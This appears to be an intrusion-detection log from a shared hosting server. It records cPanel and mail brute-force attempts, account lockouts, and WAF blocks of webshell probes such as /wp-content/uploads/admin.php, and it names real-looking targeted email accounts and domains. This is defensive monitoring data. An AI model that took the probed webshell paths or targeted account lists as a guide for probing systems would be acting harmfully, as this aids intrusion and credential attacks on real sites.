[2026-01-31 03:54:23 +0800] info [cpaneld] 73.74.226.254 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.36.10.80
country_id: 6252001
description:
[2026-01-31 03:54:30 +0800] info [cpaneld] 99.36.10.80 - cofreth3 "GET /login/?login_only=1&user=cofreth3&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth3 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.23.140
country_id: 3144096
description:
2026-01-31 03:54:54 dovecot_login authenticator failed for H=(cm-178.232.23.140.get.no) [178.232.23.140]:53787: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:54:03 dovecot_login authenticator failed for H=(7VQ6M5pcN2) [185.230.124.69]:53631: 535 Incorrect authentication data (set_id=choong.kinsin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.114.138.44
country_id: 6252001
description:
[2026-01-31 03:54:45 +0800] info [cpaneld] 76.114.138.44 - cofreth8 "GET /login/?login_only=1&user=cofreth8&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth8 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.71.181.249
country_id: 6252001
description:
[2026-01-31 03:54:18 +0800] info [cpaneld] 74.71.181.249 - cofr "GET /login/?login_only=1&user=cofr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofr (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.192
country_id: 2017370
description:
2026-01-31 03:54:23 dovecot_login authenticator failed for H=([178.178.194.192]) [178.178.194.192]:46092: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.181.106.223
country_id: 6252001
description:
[2026-01-31 03:54:49 +0800] info [cpaneld] 72.181.106.223 - cofreth9 "GET /login/?login_only=1&user=cofreth9&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth9 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.85.65.148
country_id: 6252001
description:
[2026-01-31 03:54:13 +0800] info [cpaneld] 67.85.65.148 - cofret "GET /login/?login_only=1&user=cofret&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofret (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.167.226.113
country_id: 6252001
description:
[2026-01-31 03:54:33 +0800] info [cpaneld] 107.167.226.113 - cofreth4 "GET /login/?login_only=1&user=cofreth4&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth4 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.134.236.33
country_id: 6252001
description:
[2026-01-31 03:54:25 +0800] info [cpaneld] 174.134.236.33 - cofreth1 "GET /login/?login_only=1&user=cofreth1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.196.194.140
country_id: 6252001
description:
[2026-01-31 03:54:27 +0800] info [cpaneld] 107.196.194.140 - cofreth2 "GET /login/?login_only=1&user=cofreth2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth2 (has_cpuser_file failed)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.140
country_id: 2635167
description:
2026-01-31  3:54:09 9751 [Warning] Aborted connection 9751 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.140' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:54:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.199.227.198
country_id: 6252001
description:
[2026-01-31 03:54:06 +0800] info [cpaneld] 76.199.227.198 - cofrethco "GET /login/?login_only=1&user=cofrethco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofrethco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.44.245.56
country_id: 6252001
description:
[2026-01-31 03:54:20 +0800] info [cpaneld] 99.44.245.56 - cof "GET /login/?login_only=1&user=cof&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cof (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.238.103.168
country_id: 6252001
description:
[2026-01-31 03:54:36 +0800] info [cpaneld] 174.238.103.168 - cofreth5 "GET /login/?login_only=1&user=cofreth5&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth5 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.118.187.46
country_id: 6252001
description:
[2026-01-31 03:54:41 +0800] info [cpaneld] 69.118.187.46 - cofreth7 "GET /login/?login_only=1&user=cofreth7&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth7 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.109.221.116
country_id: 6252001
description:
[2026-01-31 03:54:15 +0800] info [cpaneld] 98.109.221.116 - cofre "GET /login/?login_only=1&user=cofre&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofre (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:54:16 dovecot_login authenticator failed for H=(ATEZXMwOH) [158.94.209.22]:52346: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.90.133.142
country_id: 1694008
description:
2026-01-31 03:55:41 dovecot_login authenticator failed for H=([202.90.133.142]) [202.90.133.142]:53176: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.246.31.172
country_id: 1814991
description:
2026-01-31 03:55:50 dovecot_login authenticator failed for H=([116.246.31.172]) [116.246.31.172]:38104: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.200.240.65
country_id: 2017370
description:
2026-01-31 03:55:50 dovecot_plain authenticator failed for H=ismtj.co (9cx1bk0skrh5ys4sdhb) [185.200.240.65]:47234: 535 Incorrect authentication data (set_id=general@kimmark.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.58
country_id: 1149361
description:
2026-01-31 03:55:59 dovecot_login authenticator failed for H=([149.54.62.58]) [149.54.62.58]:59118: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:55:10 dovecot_login authenticator failed for H=(RN4tMHTgiu) [158.94.209.22]:65415: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:55:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:55:18 dovecot_login authenticator failed for H=(lEguEbN9IW) [185.230.124.69]:62621: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:56:04 dovecot_login authenticator failed for H=(wXZK7oPe3) [158.94.209.22]:58263: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:56:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:56:12 dovecot_login authenticator failed for H=(NpOeXT3WHP) [185.230.124.69]:50448: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:56:15 dovecot_login authenticator failed for H=(JSTTKM8DV) [185.230.124.69]:64651: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.204.109
country_id: 3469034
description:
2026-01-31 03:56:16 dovecot_login authenticator failed for H=(igrejadorecreio.static.host.gvt.net.br) [186.215.204.109]:60824: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.97.170.54
country_id: 3144096
description:
2026-01-31 03:57:32 dovecot_login authenticator failed for H=(54-170-97-62.cust.smartcall.no) [62.97.170.54]:53020: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.204
country_id: 337996
description:
2026-01-31 03:57:43 dovecot_login authenticator failed for H=([197.156.121.38]) [213.55.85.204]:7290: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:57:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 03:57:08 H=([64.89.160.15]) [64.89.160.15]:59438 F=<essenas@outlook.com> rejected RCPT <sales@cordage.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:57:16 dovecot_login authenticator failed for H=(pKbuMQ46n) [158.94.209.22]:50726: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 03:57:50 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account seng-tet.poong has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:57:04 dovecot_login authenticator failed for H=(7vuKKQko) [185.230.124.69]:61194: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 03:58:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account seng-tet.poong has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 03:58:10 dovecot_login authenticator failed for H=(WnPyCDRisR) [158.94.209.22]:55477: 535 Incorrect authentication data (set_id=seng-tet.poong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:58:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:58:13 dovecot_login authenticator failed for H=(lT8NzXhJ0) [185.230.124.69]:59384: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:58:37 dovecot_login authenticator failed for H=(xynIbSj) [185.230.124.69]:55869: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 03:59:03 dovecot_login authenticator failed for H=(SO68gPp) [185.230.124.69]:55416: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 03:59:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home2/cabecom/public_html/wp-content||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:00:19 dovecot_login authenticator failed for H=(WLaWBmq8qA) [185.230.124.69]:53415: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-31 04:00:01 H=([46.151.182.48]) [46.151.182.48]:58107 F=<cpanel@chs.com.my> rejected RCPT <sales@chs.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.25.233.22
country_id: 1814991
description:
2026-01-31 04:00:07 dovecot_login authenticator failed for H=([218.25.233.22]) [218.25.233.22]:37673: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:00:15 dovecot_login authenticator failed for H=(okdVOGv9el) [185.230.124.69]:63873: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:00:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.196.129.202
country_id: 1814991
description:
2026-01-31 04:00:25 dovecot_login authenticator failed for H=([120.236.70.4]) [120.196.129.202]:45807: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:01:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:01:10 dovecot_login authenticator failed for H=(7nqE98W) [185.230.124.69]:57529: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.109.92.39
country_id: 3469034
domain: www.euratech.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.euratech.com.my/products_ABS.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:02:02 dovecot_login authenticator failed for H=(5sPdMlS7) [185.230.124.69]:51541: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.66.178.169
country_id: 2017370
description:
2026-01-31 04:02:17 dovecot_plain authenticator failed for H=(w307pta9fvqag4g560y3rrcdxmlvdhd) [95.66.178.169]:44404: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 182.62.159.0
country_id: 1733045
domain: www.indfinitydesign.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:02:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:02:13 dovecot_login authenticator failed for H=(OXYLkflQJZ) [185.230.124.69]:61535: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.17.217.141
country_id: 1814991
description:
2026-01-31 04:02:21 dovecot_login authenticator failed for H=([218.17.217.141]) [218.17.217.141]:20591: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.162.121.31
country_id: 690791
description:
2026-01-31 04:02:31 dovecot_login authenticator failed for H=([81.162.121.31]) [81.162.121.31]:56434: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.96.38
country_id: 1512440
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/ServerBagTest.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home/pftfood/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-31 04:03:48 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:47774: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.244.33.80
country_id: 1880251
description:
[2026-01-31 04:03:53 +0800] info [webmaild] 143.244.33.80 - central@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:03:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:03:03 dovecot_login authenticator failed for H=(JoRaInvx) [185.230.124.69]:63482: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:04:13 dovecot_login authenticator failed for H=(BegznZq2u) [185.230.124.69]:61007: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.150.251
country_id: 1733045
description:
2026-01-31 04:04:34 dovecot_login authenticator failed for H=([49.124.150.251]) [49.124.150.251]:34516: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.123.244
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/autoload_classmap.php||SC:/home2/krisfood/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.70.186.174
country_id: 2077456
domain: mail.wohcheong.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/woh/public_html/wp-includes||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 52.140.123.244
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/classwithtostring.php||WPU:||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:04:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:04:04 dovecot_login authenticator failed for H=(Dj5T2X) [185.230.124.69]:62776: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.144.34
country_id: 1269750
description:
2026-01-31 04:04:16 dovecot_login authenticator failed for H=([182.78.144.34]) [182.78.144.34]:41090: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:05:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.140.123.244
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/krisfood/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.123.244
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wlw/autoload_classmap.php||SC:/home2/krisfood/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.250
country_id: 1036973
description:
2026-01-31 04:05:10 dovecot_login authenticator failed for H=([197.219.228.250]) [197.219.228.250]:45280: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 52.140.123.244
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:7.71||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:06:01 dovecot_login authenticator failed for H=(xOw3yCTG8) [185.230.124.69]:51469: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:05:03 dovecot_login authenticator failed for H=(u6Ye0cjq) [185.230.124.69]:55102: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:06:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.246.122.61
country_id: 3144096
description:
2026-01-31 04:06:47 dovecot_login authenticator failed for H=(ADMIN) [46.246.122.61]:15204: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:06:05 dovecot_login authenticator failed for H=(ipua41BN) [185.230.124.69]:60327: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 04:06:11 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (stroce) [87.103.126.54]:21864: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-31 04:07:33 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:49474: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: vc-b.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/vcbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 04:07:51 dovecot_login authenticator failed for H=(qBncbFl4x) [178.16.54.22]:65516: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:07:12 dovecot_login authenticator failed for H=(gTPNyW) [185.230.124.69]:57401: 535 Incorrect authentication data (set_id=enquiry@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.30.190.49
country_id: 2921044
description:
2026-01-31 04:07:39 H=([113.30.190.49]) [113.30.190.49]:56156 F=<administrator@ktlog.com.my> rejected RCPT <celine@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-01-31 04:07:43 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [201.46.124.0]:1712: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:07:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry@ms-chemicals.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:07:59 dovecot_login authenticator failed for H=(zOoxn6eX) [185.230.124.69]:62257: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.219.104.210
country_id: 3175395
description:
2026-01-31 04:09:01 dovecot_login authenticator failed for H=net-188-219-104-210.cust.vodafonedsl.it [188.219.104.210]:56409: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.250.185.130
country_id: 2542007
description:
2026-01-31 04:08:07 dovecot_login authenticator failed for H=(crqwTu) [41.250.185.130]:61879: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 04:08:02 dovecot_login authenticator failed for H=(kZeDcCu) [185.230.124.69]:60928: 535 Incorrect authentication data (set_id=choong.kinsin@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 04:08:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account choong.kinsin@nexuscollection.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
